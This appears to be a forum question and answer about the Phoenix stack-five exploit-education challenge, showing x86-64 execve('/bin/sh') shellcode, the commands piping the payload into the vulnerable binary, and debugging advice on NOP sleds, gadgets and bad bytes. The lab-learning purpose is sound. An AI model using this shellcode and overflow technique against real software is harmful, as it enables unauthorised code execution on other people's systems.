Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/). I run onto a problem while exploiting a stack overflow. The challenge is run execve('/bin/sh') through shellcode. I grabbed the shellcode from shellstorm (http://shell-storm.org/shellcode/files/shellcode-603.php). The shellcode consists of:

[NOP slide]
(debug int3 \xcc)
"\x48\x31\xd2"                                  // xor    %rdx, %rdx
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov  $0x68732f6e69622f2f, %rbx
"\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
"\x53"                                          // push   %rbx
"\x48\x89\xe7"                                  // mov    %rsp, %rdi
"\x50"                                          // push   %rax
"\x57"                                          // push   %rdi
"\x48\x89\xe6"                                  // mov    %rsp, %rsi
"\xb0\x3b"                                      // mov    $0x3b, %al
"\x0f\x05";                                     // syscall
(debug int3 \xcc)
[override rip pointing to the middle of the NOP slide]

I have tested int3's before and after the shellcode and all seems fine, they both trigger outside and inside gdb and therefore I infer that the shellcode is being executed but i cannot get the shell open.

I'm using this commands:

cat | /opt/phoenix/amd64/stack-five < exploit
cat exploit - | /opt/phoenix/amd64/stack-five

Neither of them gets the shell.

Example of execution

user@phoenix-amd64:~$ cat exploit - | /opt/phoenix/amd64/stack-five
cat exploit - | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
[ 7018.986649] traps: stack-five[433] trap int3 ip:7fffffffe68e sp:7fffffffe6c8 error:0
Trace/breakpoint trap

This int3 is AFTER the shellcode.

Some idea of what's wrong?


Ideally you would want a precise gadget, like jmp esp, not a fixed stack address and NOP sled.

Having an int 3 breakpoint \xcc in your shellcode when running it outside of gdb will terminate execution at that point and prevent your shell code from running.

I haven't done this challenge, but you didn't say that you had verified that the shell code loads correctly in memory. Sometimes the way the program handles data there are some bytes that should be avoided (bad bytes). Looking at the source code that doesn't seem like the likely cause, but its a good habit to get into.

Sometimes you may also need to shift esp away from the payload to avoid corruption.

You can step through the shellcode using gdb to ensure that the shell code does not get corrupted and that the registers are all setup correctly and you fire the syscall.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.